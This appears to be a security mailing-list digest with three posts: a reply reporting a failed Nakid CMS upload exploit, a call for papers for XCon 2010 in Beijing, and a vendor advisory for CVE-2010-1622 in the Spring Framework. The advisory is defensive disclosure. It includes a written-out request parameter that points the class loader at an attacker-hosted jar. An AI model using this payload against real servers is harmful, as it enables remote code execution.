Re: Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit

[Jaison Salu John]

Exploit failed You are unlucky.
Even on default installation from the link above.

Regards,
Jaison

XCon 2010 XFocus Information Security Conference Call for Paper

[xcon]

XCon 2010 XFocus Information Security Conference Call for Paper

 August, 4th - 5th, 2010, Beijing, China (http://xcon.xfocus.net)

 Upholding rigorous work style , XCon sincerely welcomes contributions from 
information security technique enthusiasts and expects your participation and 
sharing.

 Attenders
Anyone who loves information security, including information security 
experts and fans, network administrators, network security consultants, CIO, 
hacker technique fans.


 Location : Beijing kaiyuan Hotel 
 ( http://www.kaiyuanhotels.com/Hotel/Default.aspx?City=PEK&HotelCode=KYBJGH )


 Topics Range (but unlimited):
   --- Security in new fields
  - Vista / Windows 
  - Web 2.0
  - 3G/4G network
  - Mobile Handset (Symbian / IPhone / Android / Windows Mobile )
  - Banks & Financial institutes
  - Business Information System
  - Virtualization 
  - New bug digging

   --- Application security
  - Web application vulnerability research
  - Application reverse engineering and related automated tools
  - Database security & attacks
  - Protocol security & exploitation
  - Advanced Trojans, worms and backdoor technique
  - Encryption & decryption technique
  - Routing device

   --- Intrusion detection/forensics analysis
  - File system analysis & recovery
  - Real-time data structure recovery
  - Reverse engineering (malicious code analysis technique, vulnerability 
research)
  - Intrusion detection and anti-detection technique
  - Traffic analysis

   --- Wireless & VoIP security
  - 802.11x, CDPD, Bluetooth, WAP/TDMA, GSM, SMS
  - PDA & mobile protocol analysis
  - Palm, Pocket Pc
  - Wireless gateway
  - VoIP security & vulnerability analysis
  - WLANs hardening & vulnerability analysis

   ---P2P technique
  - Instant messenger (MSN, Skype, ICQ, etc.)
  - P2P application (BT, Emule, Thunder, online multi-media, etc.)


 Paper Submission:
The papers need include informations as follow:
1) Brief introduction to the topic and whether the topic had been 
publicized, and if so, the publicized range.
2) Introduction to yourself .
3) Contact information: full name, alias, nationality, network nickname, 
e-mail, tel., fax, current working place and company, IM (QQ,MSN, ICQ,YM, AIM 
or others).
4) Presentation details:
- How long is the presentation
- If any new tool/vulnerability/Exploit code will be released
 5) The paper need include both PPT (for presentation) and WORD (for detailed 
description) in MS Office or OpenOffice format.

All the papers will be submitted to c...@huayongxingan.com  for preliminary 
selection.
The deadline for submission is on July, 5th , 2010,  and the deadline for 
confirmation is on July, 15th, 2010 .
No matter if the paper is accepted, we will officially inform you within 5 
work days.


 Important dates
  * Deadline for submission : July, 5th , 2010
  * Deadline for confirmation : July, 15th, 2010


 Speakers' privilege
If your paper is accepted by XCon, you will be invited to give an 
individual lecture in XCon. The speakers will be provided with :
  - Round-trip plane ticket (Economy class, one person only, Foreign 
speakers up to $1,200 .)
  - Two days' food and accommodation
  - Invitation to celebration party
  - Sightseeing some famous places of interestes in Beijing, tasting 
Chinese flavored food
  - Luck draw
 PS:
  - Speakers must provide corresponding invoice or credential.
  - XCon owns the right of final explanation about the conference.


 For more information about the conference, please contact x...@xfocus.org, 
x...@huayongxingan.com or 
 professional XCon2010 organizer. MSN: xfocusx...@hotmail.com; tel : 
086-010-62029792


 Application for Attending:
In order to attend the conference, please register at XCon website 
(http://xcon.xfocus.net) or directly contact the organizer mentioned above. 
We will offer different discounts according to the time of application.
Attenders' food and accommodation will be covered by themselves, and XCon 
will provide restaurant reservation and other service.


 Other information :
All the information about XCon will be released on XCon and Xfocus website. 
Please visit http://xcon.xfocus.org/ for more information about speakers, 
agenda and previous XCon documents.


 Thank you for your support to XCon.

CVE-2010-1622: Spring Framework execution of arbitrary code

[s2-security]

CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Vendor:
SpringSource, a division of VMware

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:
The Spring Framework provides a mechanism to use client provided data to update 
the properties of an object. This mechanism allows an attacker to modify the 
properties of the class loader used to load the object (via 
'class.classloader'). This can lead to arbitrary command execution since, for 
example, an attacker can modify the URLs used by the class loader to point to 
locations controlled by the attacker.

Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar 
has to contain following:
 - META-INF/spring-form.tld - defining spring form tags and specifying that 
they are implemented as tag files and not classes;
 - tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following 
HTTP parameter: class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At 
this point the zeroth element of the WebappClassLoader's repositoryURLs 
property will be overwritten with attacker's URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use 
WebappClassLoader's URLs to resolve tag libraries and all tag files specified 
in TLD will be resolved against attacker-controller jar (HTTP retrieval of the 
jar file is performed by the URL class).

Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 
2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by 
upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team

References:
[1] http://www.springsource.com/security/spring-framework